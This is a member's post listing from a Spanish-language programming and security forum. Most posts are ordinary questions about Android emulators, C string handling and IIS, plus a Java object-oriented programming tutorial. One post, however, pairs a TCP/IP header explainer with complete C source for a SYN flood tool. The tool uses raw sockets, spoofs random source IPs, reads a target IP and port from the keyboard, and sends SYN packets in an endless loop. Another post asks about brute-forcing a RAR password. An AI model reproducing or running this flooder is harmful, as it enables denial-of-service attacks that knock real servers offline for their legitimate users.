This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Topics - Solid Water

Pages: [1]
1
Dudas y pedidos generales / Bosch me rompe los discos
« on: November 27, 2022, 03:12:37 am »
Hola estuve probando bosch para android para correr maquinas virtuales windows xp y 7.
Las maquinas corren pero despues de reiterados reinicios el windows se rompe y no arrancan más.
El caso es que andaba bajando archivos muy pesados por partes y no llegue a conseguir terminar los windows se rompen.
Wine no me corre dice que mi android es muy nuevo para wine.
Alguien conoce una maquina virtual mas estable para android? Con limbo no pude hacer nada.

También había un programa llamado exagear rpg que me permitia correr juegos windows en android pero su mouse touch andaba mal no como en bosch y sus controles se vuelven de paga al poco tiempo y ya no se pueden comprar.

Graciassss

2
C# - VB.NET / pasar char * values a char[256]
« on: July 29, 2022, 09:12:23 am »
Hola en C# existe un metodo .toUpper() que devuelve una copia del string pasado a mayúsculas.
Por lo que si yo tengo un string que me ingresan como HolaComoEstas y quiero compararlo con HOLACOMOESTAS, le hago if(variable.toUpper() == "HOLACOMOESTAS") simplifico todo pasandolo a mayúsculas para no tener diferencias en cuanto a si son capitales o no.

el caso es que estoy trabajando con un programa en C.
Necesito realizar esto mismo pero las funciones toUpper(variable) o strupr(variable) me convierten la variable a mayúscula cambiando su valor inicial.

entonces en los casos que yo tengo un array del tipo char variable[256].
creo una char[256] auxiliar a cambiarla a mayúscula y conservar mi valor inicial en la otra, esto lo hago con strcpy.

el problema lo tengo al querer hacerlo con un char *.

ya que cuando hago:

Code: ("C") You are not allowed to view links. Register or Login
char variable_auxiliar[256]
char * Ptr_variable; //con un valor asignado por ejemplo: Hola Como Estas?

strcpy(variable_auxiliar, Ptr_variable)

strupr(variable)

Se copia la dirección de memoria y no el contenido del char *, por lo que al modificar variable_auxiliar modifico tambien Ptr_variable.

Yo necesito una funcion que no cambie el source de lo que cambio a upper case, o bien pasar el contenido del char * a char [] sin pasar su dirección de memoria.

intente algo como esto pero no me funciono (pasar letra por letra):

Code: ("C") You are not allowed to view links. Register or Login

int f = 0;

while(*Ptr_variable != '\0') //fin de línea
{
    variable_auxiliar[f] = *Ptr_variable;
    f++;
   Ptr_variable++;
}

En que estaré fallando, que otro método tengo de copiar los valores del char* a char[].

entonces cuando yo envio un string no deberé preocuparme por que la comparacion falle por mayusculas y minúsculas diferentes.

Recuerdo que creo haberlo hecho tiempo atras, pero no recuerdo cómo.

Desde ya muchas gracias por su tiempo codeando y testeando.

Saludos,

3
Cuando ejecuto mi programa en modo debug o en el perfil debug
al haber una excepcion me da los siguientes carteles:



Lejos de corregir la cantidad de errores que hay para poder sacar la version "Release"
De momento necesito forzar las respuestas de los carteles a que siempre sean "omitir" y "continuar"
el programa siempre funciona y cumple su cometido dandole a la ventana 1 "omitir" y a la 2 "cotinuar"

Con el tiempo me tomare la tarea de fixear las excepciones, capturarlas tampoco sirve ya que pega un salto al catch

Lo estoy usando con visual studio 2010

Hay algunas opciones pero no se bien que requeriria


Parece por aca, aunque algunas opciones estan deshabilitadas


4
Dudas y pedidos generales / Instalar wine en este android
« on: April 29, 2021, 06:46:52 pm »
Necesito instalar wine en el siguiente telefono


You are not allowed to view links. Register or Login

Esta rin rootear y las soluciones q vi no edtan en mis opciones de desarrollador.

Alguien me da alguna respuesta aunque ya la haya leido

Se congela en cargando windoww envuronment dice q el telefono es una version muy nueva para wine o algo asi

5
Dudas y pedidos generales / [SOLUCIONADO] Necesito el pw de un .rar
« on: April 29, 2021, 06:35:19 pm »
Hola tengo un rar viejo con password estuve intentando recuperar el password con fuerza bruta pero tarda como 1 dia a los 3 caracteres muchos caracteres tardaran demasiado. Que recomendación me dan y cuales son sus experiencias con este tema?

6
Hola necesito mejorar el rendimiento de un WS 2012 R2.
En especial todo lo referente a conexiones de internet y transmisión de paquetes.





¿Saben alguna buena configuración?
Muchas gracias.



7
Hola comunidad

Estoy teniendo problemas para imprimir un char * en C.
Lo estoy haciendo del siguiente modo, imprimirlo directo o copiarlo a un char[]
Había probado también unos bucles pero me daba resultados similares..
Lo escribe pero no entiendo bien la salida.

//Este char * llega como parámetro a una funcion
void function(char * Datos){   
FILE *file;
char msg[1000];
int j;

              strncpy(msg, Datos, 30);
                  file = fopen("salida.txt","a+");

            
         fprintf(file, Datos);
         
         fprintf(file, "%s", msg);
         fprintf(file, "%s", Datos);
         fprintf(file, "\n");

         fclose(file);
}

Imprime esto:

Уö Уö Уö 

Les dejo una captura del archivo:



Si se les ocurre, me dicen y pruebo.

Muchas gracias, y saludos

8
Dudas y pedidos generales / Descargar II 7.5 full (x32)
« on: September 02, 2019, 03:10:37 pm »
Hola me gustaría saber donde podría conseguir el internet information service 7.5 FULL (No express) para windows xp (x32).

Actualmente tengo el iis 7.5 express instalado y me gustaría la versión completa.

Lo necesito para un tema sin fines de lucro.

Y Saber si hay alguna versión más nueva que sea soportada en windows xp x32 ya que las últimas son todas x64.

Muchas gracias.

Saludos,

9
Es posible cambiar el puerto por el que windows intenta conectarse a una vpn? Cree una conexion vpn por ip pero windows intenta conectarse al puerto 1723 y yo quiero conectarme a otro.
poner : y el puerto no da resultado.

Alguna sabe de un cliente vpn gratuito de por vida para windows xp x32?

10
Seguridad / (SYN Flood) Resumen de internet + SOURCE C++
« on: July 03, 2019, 07:13:30 pm »
Después veré de dejar el post mas bonito ahora no tengo tiempo, vengo a velocidades sobre humanas.
Bueno resulta que el siguiente post del foro:

You are not allowed to view links. Register or Login

me motivo a estudiar SYN Flood.
Por lo que para leer este post primero te conviene leer ese.

Conseguí un code pero mi misión era comprenderlo por completo o a grandes razgos.
Por eso hice un rejunte de manuales, los resumí y por último modifiqué el código y lo probé.
Acá les dejo el fruto de la investigación aporten lo que quieran.



A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic


Normally when a client attempts to start a TCP connection to a server, the client and server exchange a series of messages which normally runs like this:

The client requests a connection by sending a SYN (synchronize) message to the server.

The server acknowledges this request by sending SYN-ACK back to the client.

The client responds with an ACK, and the connection is established.

This is called the TCP three-way handshake, and is the foundation for every connection established using the TCP protocol.


SYN Flood: The attacker sends several packets but does not send the "ACK" back to the server. The connections are hence half-opened and consuming server resources. Alice, a legitimate user, tries to connect but the server refuses to open a connection resulting in a denial of service.





Debajo dejaremos el código completo que realiza SYN flood desde el/los IPs que queramos (Engañando así al servidor), pero antes tomaremos conocimientos que nos ayudaran a entender el código

Cuando enviamos los datos a traves de internet para realizar la conexión ya sea que enviemos un SYN o un ACK o lo que fuese, se envía un tcp header y un ip header.



TCP header:




TCP segments are sent as internet datagrams.
The Internet Protocol header carries several information fields, including the source and destination host addresses. A TCP header follows the internet header, supplying information specific to the TCP protocol.
TCP Header Format

Each TCP header has ten required fields totaling 20 bytes (160 bits) in size. They can also optionally include an additional data section up to 40 bytes in size.

TCP headers appear in the following sequence:

Source TCP port number (2 bytes)

Destination TCP port number (2 bytes)

Sequence number (4 bytes)

Acknowledgment number (4 bytes)

TCP data offset (4 bits)

Reserved data (3 bits)

Control flags (up to 9 bits)

Window size (2 bytes)

TCP checksum (2 bytes)

Urgent pointer (2 bytes)

TCP optional data (0-40 bytes)

The headers supply specific information:

Source and destination TCP port numbers are the communication endpoints for sending and receiving devices.

Message senders use sequence numbers to mark the ordering of a group of messages. Both senders and receivers use the acknowledgment numbers field to communicate the sequence numbers of messages that are either recently received or expected to be sent.

Además los números de sequencia comienzan con un número aleatorio que sirve para identificar la conexion y que otra persona no pueda falsificar nuestra identidad haciendole creer que la conexion es con el y no con nosotros.

(Para hacerse pasar por un cliente en una conexión establecida, el atacante debe enviar segmentos TCP al proceso servidor con la IP del cliente, el puerto del cliente (no son dificiles de obtener) pero también el número de secuencia del cliente, el cual no es sencillo de obtener si el cliente utiliza un número de secuencia aleatorio cada vez que comienza una conexión.

The data offset field stores the total size of a TCP header in multiples of four bytes. A header not using the optional TCP field has a data offset of 5 (representing 20 bytes), while a header using the maximum-sized optional field has a data offset of 15 (representing 60 bytes).

Reserved data in TCP headers always has a value of zero. This field serves the purpose of aligning the total header size as a multiple of four bytes (important for the efficiency of computer data processing).

TCP uses a set of six standard and three extended control flags (each an individual bit representing on or off) to manage data flow in specific situations. One bit flag, for example, initiates TCP connection reset logic.

En la cabecera de los paquetes de TCP hay 6 flags de 1 bit, es decir, que pueden valer ó 0 ó 1 según estén desactivadas o activadas: estas banderas son SYN, ACK, RST, PSH, URG y FIN

SYN - The SYN, or Synchronisation flag, is used as a first step in establishing a 3-way handshake between two hosts. Only the first packet from both the sender and receiver should have this flag set. The following diagram illustrates a 3-way handshake process.
ACK - The ACK flag, which stands for “Acknowledgment”, is used to acknowledge the successful receipt of a packet. As we can see from the diagram above, the receiver sends an ACK as well as a SYN in the second step of the 3-way handshake process to tell the sender that it received its initial packet.
FIN - The FIN flag, which stands for “Finished”, means there is no more data from the sender. Therefore, it is used in the last packet sent from the sender.
URG - The URG flag is used to notify the receiver to process the urgent packets before processing all other packets. The receiver will be notified when all known urgent data has been received. See RFC 6093 for more details.
PSH - The PSH flag, which stands for “Push”, is somewhat similar to the URG flag and tells the receiver to process these packets as they are received instead of buffering them.
RST - The RST flag, which stands for “Reset”, gets sent from the receiver to the sender when a packet is sent to a particular host that was not expecting it.
ECE - This flag is responsible for indicating if the TCP peer is ECN capable. See RFC 3168 for more details.
CWR - The CWR flag, which stands for Congestion Window Reduced, is used by the sending host to indicate it received a packet with the ECE flag set. See RFC 3168 for more details.
NS (experimental) - The NS flag, which stands for Nonce Sum, is still an experimental flag used to help protect against accidental malicious concealment of packets from the sender. See RFC 3540 for more details.
TCP senders use a number called window size to regulate how much data they send to a receiver before requiring an acknowledgment in return. If the window size becomes too small, network data transfer will be unnecessarily slow, while if the window size becomes too large, the network link can become saturated (unusable for any other applications) or the receiver may not be able to process incoming data quickly enough (also resulting in slow performance). Windowing algorithms built into the protocol dynamically calculate size values and use this field of TCP headers to coordinate changes between senders and receivers.

The checksum value inside a TCP header is generated by the protocol sender as a mathematical technique to help the receiver detect messages that are corrupted or tampered with.

The urgent pointer field is often set to zero and ignored, but in conjunction with one of the control flags, it can be used as a data offset to mark a subset of a message as requiring priority processing.

Usages of optional TCP data include support for special acknowledgment and window scaling algorithms.




IP header:



The fields in the IP header and their descriptions are

Version - A 4-bit field that identifies the IP version being used. The current version is 4, and this version is referred to as IPv4.
Length - A 4-bit field containing the length of the IP header in 32-bit increments. The minimum length of an IP header is 20 bytes, or five 32-bit increments. The maximum length of an IP header is 24 bytes, or six 32-bit increments. Therefore, the header length field should contain either 5 or 6.
Type of Service (ToS) - The 8-bit ToS uses 3 bits for IP Precedence, 4 bits for ToS with the last bit not being used. The 4-bit ToS field, although defined, has never been used.
IP Precedence - A 3-bit field used to identify the level of service a packet receives in the network.
Differentiated Services Code Point (DSCP) - A 6-bit field used to identify the level of service a packet receives in the network. DSCP is a 3-bit expansion of IP precedence with the elimination of the ToS bits.
Total Length - Specifies the length of the IP packet that includes the IP header and the user data. The length field is 2 bytes, so the maximum size of an IP packet is 216 – 1 or 65,535 bytes.
Identifier, Flags, and Fragment Offset - As an IP packet moves through the Internet, it might need to cross a route that cannot handle the size of the packet. The packet will be divided, or fragmented, into smaller packets and reassembled later. These fields are used to fragment and reassemble packets.
Time to Live (TTL) - It is possible for an IP packet to roam aimlessly around the Internet. If there is a routing problem or a routing loop, then you don't want packets to be forwarded forever. A routing loop is when a packet is continually routed through the same routers over and over. The TTL field is initially set to a number and decremented by every router that is passed through. When TTL reaches 0 the packet is discarded.
Protocol - In the layered protocol model, the layer that determines which application the data is from or which application the data is for is indicated using the Protocol field. This field does not identify the application, but identifies a protocol that sits above the IP layer that is used for application identification.
Header Checksum - A value calculated based on the contents of the IP header. Used to determine if any errors have been introduced during transmission.
Source IP Address - 32-bit IP address of the sender.
Destination IP Address - 32-bit IP address of the intended recipient.
Options and Padding - A field that varies in length from 0 to a multiple of 32-bits. If the option values are not a multiple of 32-bits, 0s are added or padded to ensure this field contains a multiple of 32 bits.


The ToS bits were originally designed to influence the delivery of data based on delay, throughput, reliability and cost. (See Table 3-10.) They are usually not used and are therefore set to zero.



The IP Precedence field can be used to prioritize IP traffic. (See Table 3-9.) This is the same as the postal system having different classes of mail such as priority, overnight, and 2-day delivery. Routers can choose to use this field to give preferential treatment to certain types of IP traffic.




Pero qué es eso de htons que veremos en el código?
The htons function converts a u_short (unsigned short) from host to TCP/IP network byte order (which is big-endian).

No se debe confundir trivialmente el orden de escritura textual en este artículo con el orden de escritura en memoria, por ello establecemos que lo que escribimos primero lleva índices de memoria más bajos, y lo que escribimos a continuación lleva índices más elevados, que lo que lleva índices bajos es previo en memoria, y así sucesivamente, siguiendo la ordenación natural de menor a mayor, por ejemplo la secuencia {0,1,2} indicaría, -algo más allá de la intuición- que 0 es previo y contiguo en el espacio de memoria a 1, etc.

Usando este criterio el sistema big-endian adoptado por Motorola entre otros, consiste en representar los bytes en el orden "natural": así el valor hexadecimal 0x4A3B2C1D se codificaría en memoria en la secuencia {4A, 3B, 2C, 1D}. En el sistema little-endian adoptado por Intel, entre otros, el mismo valor se codificaría como {1D, 2C, 3B, 4A}, de manera que de este modo se hace más intuitivo el acceso a datos, porque se efectúa fácilmente de manera incremental de menos relevante a más relevante (siempre se opera con incrementos de contador en la memoria), en un paralelismo a "lo importante no es como empiezan las cosas, sino como acaban."

Algunas arquitecturas de microprocesador pueden trabajar con ambos formatos (ARM, PowerPC, DEC Alpha, PA-RISC, Arquitectura MIPS), y a veces son denominadas sistemas middle-endian.



También vemos que uno de los datos de los headers son el checksum y que nuestro código C++ lo calcula

Una suma de verificación, (también llamada suma de chequeo o checksum), en telecomunicación e informática, es una función hash que tiene como propósito principal detectar cambios accidentales en una secuencia de datos para proteger la integridad de estos, verificando que no haya discrepancias entre los valores obtenidos al hacer una comprobación inicial y otra final tras la transmisión. La idea es que se transmita el dato junto con su valor hash, de esta forma el receptor puede calcular dicho valor y compararlo así con el valor hash recibido. Si hay una discrepancia se pueden rechazar los datos o pedir una retransmisión.

Esto es empleado para comunicaciones (Internet, comunicación de dispositivos, etc.) y almacenamiento de datos (archivos comprimidos, discos portátiles, etc.).

Un checksum, o suma de comprobación, es el resultado de la ejecución de un algoritmo dentro de un archivo único, función denominada Cryptographic hash function. Comparar el checksum que generas desde tu versión del archivo, junto al provisto por la fuente del mismo, representa una ayuda para asegurarte una copia genuina y libre de errores.

Comencemos con un ejemplo simple, buscando exhibir el poder que los checksums tienen para probar que algo ha cambiado: el checksum MD5 para la frase “this is a test” o “esto es una prueba” es 120EA8A25E5D487BF68B5F7096440019. Se trata de una larga cadena de caracteres representando dicha oración.

Para cumplir con nuestro propósito, esencialmente ellos se igualan los unos a los otros. Sin embargo, efectuar un pequeño cambio, como ser el borrado de un punto, producirá un checksum completamente diferente de CE114E4501D2F4E2DCEA3E17B546F339.

Como puedes observar, incluso un cambio minúsculo en el archivo producirá un notable cambio en el checksum, dejando bien en claro que no existen dos iguales.



Ahora ya contamos con los conocimientos suficientes para comprender el código que encontré

Code: (c++) You are not allowed to view links. Register or Login
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h>  //Provides declarations for ip header
 
struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
 
        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }
 
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}
 
int main (void)
{
        //Create a raw socket
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096] , source_ip[32];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
       
        strcpy(source_ip , "192.168.1.2"); //IP Origen
 
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); //IP Destino
       
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        //Now the IP checksum
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
       
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL. Error number : %d .
                         Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        //Uncommend the loop if you want to flood
        //while (1)
        //{
                //Send the packet
                if (sendto (s,  /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }
                //Data send successfully
                else
                {
                        printf ("Packet Send \n");
                }
        //}
       
        return 0;
}

                 
En mi caso voy a hacerle algunas modificaciones como agregarle el ingreso de ip de origen; destino y puerto de destino por teclado, agregar una funcion rand para que el ip de origen cambie solo (ingresando por teclado "rand" como ip origen) además que el código anterior creo que no compilaba por que le faltaba una biblioteca no se si lo hicieron a modo de hint:

Code: (c++) You are not allowed to view links. Register or Login
/*
        Syn Flood DOS with LINUX sockets
*/
#include <stdio.h>
#include <string.h> //memset
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h>        //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h>
 
 
struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
 
        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }
 
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}
 
int main (void)
{
        //Create a raw socket
        int sock; // = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        char source_ip[32];
        char source_ip_fake[32];
        char dest_ip[32];
        int dest_port;
        int rand_ip1, rand_ip2, rand_ip3, rand_ip4;
        unsigned long long int cantidad = 1;
       

        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
        printf("error creando socket");
        exit(1);
    }
       
        printf("Ingrese la IP de origen: (ex: 200.190.30.40)\n");
        printf("si quiere que cambie sola ingrese \"rand\") \n");
        scanf( "%s" , source_ip );
        strcpy(source_ip_fake, source_ip);
 
        printf("Ingrese la IP de destino: (ex: 200.190.30.40) \n");
       
        scanf( "%s" , dest_ip );
       
        printf("Ingrese puerto de destino: \n");
        scanf( "%d" , &dest_port );
       
       
 
        sin.sin_family = AF_INET;
        sin.sin_port = htons(dest_port);
       
       
        while(1){
       
        if(strcmp(source_ip_fake,"rand")==0){
                rand_ip1 = rand() % 180 + 1;
                rand_ip2 = rand() % 180 + 1;
                rand_ip3 = rand() % 180 + 1;
                rand_ip4 = rand() % 180 + 1;
               
                sprintf(source_ip, "%d.%d.%d.%d", rand_ip1, rand_ip2, rand_ip3, rand_ip4 );
        }
       
        sin.sin_addr.s_addr = inet_addr (dest_ip); //IP Destino
       
       
 
 
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234); //source port
        tcph->dest = htons (dest_port); //destination port
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
       
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
       
       
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL.");
                printf ("Error number : %d . Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        printf("Will start the flood to %s:%d \n", dest_ip, dest_port);
        printf("From %s \n", source_ip);
       
               
 
                tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
 
               
               
                //Send the packet
                if (sendto (sock,       /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }//Data send successfully
                else
                {
                        printf ("%d Packet Send ! \n", cantidad);
                        cantidad++;
                       
                }
       
        }
        return 0;
}

Para que funcione debe ejecutarse con privilegios de administrador.
Con wireshark podremos comprobar que se envían correctamente y que el servidor nos envía la respuesta (si el ip de origen es nuestro ip real).

Saludos,

11
Java / Programación Orientada a Objetos en Java (Introducción)
« on: June 25, 2019, 02:31:22 pm »
Bueno resulta que hace unos años escribí el mismo manual de introducción a la POO en distintos lenguajes. Los tengo en version C#, java, C++ y PHP..
Hoy traigo aquí el de java.


Programación Orientada a Objetos en Java (Introducción)


Cuando escribimos un programa en un lenguaje orientado a objetos, definimos clases, una clase describe las características y comportamientos de objetos similares.

Por ejemplo: la clase Automóvil lista las características comunes a todos los automóviles (atributos y comportamientos).

Atributos: Color, Nro de ruedas, potencia, cambios, etc
Comportamientos: Encender, Apagar, Marcha atrás, acelerar, etc
Así de forma abstracta listamos atributos y comportamientos que todos los autos pueden tener.

Luego los objetos son la forma concreta de esto mismo:

Tenemos el auto de Juan, con 4 puertas, 5 cambios, marca Mercedes Benz, color azul y el de Fernando con 2 puertas, 4 cambios, rojo, descapotable..

Resumiendo:

Una clase es una plantilla que describe a un conjunto de objetos con características y atributos similares.

Un objeto, o instancia de una clase, es la representación concreta y especifica de esta, que reside en la memoria (puede haber muchos objetos de una misma clase).

Ejemplo:

Automovil.java
Code: (java) You are not allowed to view links. Register or Login
package programandoobjetos;
//Por norma los nombres de las clases comienzan con mayúscula:
public class Automovil {
    //Atributos:
    String Color, Marca, Patente;
    int Cambios, Puertas;
 
    //Métodos:
    void verDatos(){
       System.out.println("Color: " + Color);
       System.out.println("Marca: " + Marca);
       System.out.println("Cambios: " + Cambios);
       System.out.println("Puertas: " + Puertas);
       if(Patente != null)
       {
           System.out.println("Patente: " + Patente);
       }
       System.out.println();
    }
    //Cuando un método de una clase se llama igual que la clase
    //significa que es el constructor de la clase
    //es decir la funcion a la que se llama al crear el objeto
    //Y se determina sus parámetros
    public Automovil(String color, String marca, int cambios,
                     int puertas){
        this.Color = color;
        this.Marca = marca;
        this.Cambios = cambios;
        this.Puertas = puertas;
    }
   
    //El polimorfismo o sobre carga de métodos
    //Es que podamos tener funciones con el mismo nombre
    //Y distitnos parámetros y acciones
    //En este caso tendremos otro constructor
    //que acepte como parámetro también la patente
     public Automovil(String color, String marca, int cambios,
                      int puertas, String patente){
        this.Color = color;
        this.Marca = marca;
        this.Cambios = cambios;
        this.Puertas = puertas;
        this.Patente = patente;
    }
}



ProgramandoObjetos.java
Code: (java) You are not allowed to view links. Register or Login
package programandoobjetos;
 
 
public class ProgramandoObjetos {
 
    public static void main(String[] args) {
   
      //Creamos un objeto del tipo automovil
      //Le pasamos parametros a su constructor
      Automovil Auto = new Automovil("Azul","Mercedes Benz", 5, 4);
      //En este caso también le pasamos la patente
      //Y automáticamente usa el otro constructor
      Automovil Auto2 = new Automovil("Rojo","Ferrari", 4, 2, "HYO345");
     
      Auto.verDatos();
      Auto2.verDatos();
   
    } 
 
}
/* Imprime:
    Color: Azul
    Marca: Mercedes Benz
    Cambios: 5
    Puertas: 4
 
    Color: Rojo
    Marca: Ferrari
    Cambios: 4
    Puertas: 2
    Patente: HYO345
 
*/

Polimorfismo: Es la capacidad de un método para poder comportarse de diversas maneras y recibir distintos parámetros. Arriba puede verse un ejemplo.
También es conocido como polimorfismo el hecho de que un método que acepta un tipo de objeto como parámetro, acepte a su vez sin necesidad de ningún cambio a los objetos de sus clases hijas.


Herencia:La herencia es una relación entre las clases.
Todas las clases en Java existen dentro de una jerarquía. Cada clase tiene una (y solo una) clase por encima de ella (no como en C++ que puede haber herencia múltiple), denominada superclase, y cualquier número de clases (o ninguna) por debajo.
A estas últimas se las denomina subclases.
Una clase heredará los métodos y variables miembro de su superclase. Del mismo modo, sus subclases heredarán los métodos y variables de esa clase.


Ejemplo Herencia:

Persona.java
Code: (java) You are not allowed to view links. Register or Login
package herencia;
 
public class Persona {
    int  numeroDeDocumento;
    String nombre, apellido, tipoDeDocumento;
 
   
    void Persona(String nom, String ape)
    {
       this.nombre = nom;
       this.apellido = ape;
    }
   
    void setDocumento(String tipo, int numero){
        this.tipoDeDocumento = tipo;
        this.numeroDeDocumento = numero;
    }
   
    void verDocumento(){
       System.out.println("Tipo de documento: " + tipoDeDocumento
       + "\nNumero de documento: " + numeroDeDocumento);
    }
   
    void verNombre(){
        System.out.println("nombre: " + nombre
        + " \nApellido: " + apellido);
    }
   
}


Empleado.java
Code: (java) You are not allowed to view links. Register or Login
package herencia;
 
//La clase pública Empleado hereda de Persona
public class Empleado extends Persona {
   
    int Sueldo;
    String Cargo;
   
    //El constructor mínimamente debe tener
    //los parámetros del constructor de
    //la clase Padre:
    public Empleado(String nom, String ape,
                    int sueldo, String cargo){
       
        this.Sueldo = sueldo;
        this.Cargo = cargo;
        //Nombre y apellido fueron algunos de los
        //Atributos heredados:
        this.nombre = nom;
        this.apellido = ape;
    }
   
    void VerSueldo(){
        System.out.println("Sueldo: " + Sueldo);
    }
   
   void verCargo(){
       System.out.println("Cargo: " + Cargo);
   }
     
}



Herencia.java
Code: (java) You are not allowed to view links. Register or Login
package herencia;
 
 
public class Herencia {
 
    public static void main(String[] args) {
       //Creamos un objeto de la clase empleado
       //Le pasamos los parametros a su constructor
       Empleado NombreDelObjeto = new Empleado("Juan","Perez",
                                  15000, "Software Developer");
       //Como vemos, usamos las funciones de la clase padre
       //Y sus atributos
       NombreDelObjeto.setDocumento("DNI", 20202678);
       
       NombreDelObjeto.verNombre();
       NombreDelObjeto.verDocumento();
       NombreDelObjeto.verCargo();
       NombreDelObjeto.VerSueldo();
    }
   
}
/*Print:
 
        nombre: Juan   
        Apellido: Perez
        Tipo de documento: DNI
        Numero de documento: 20202678
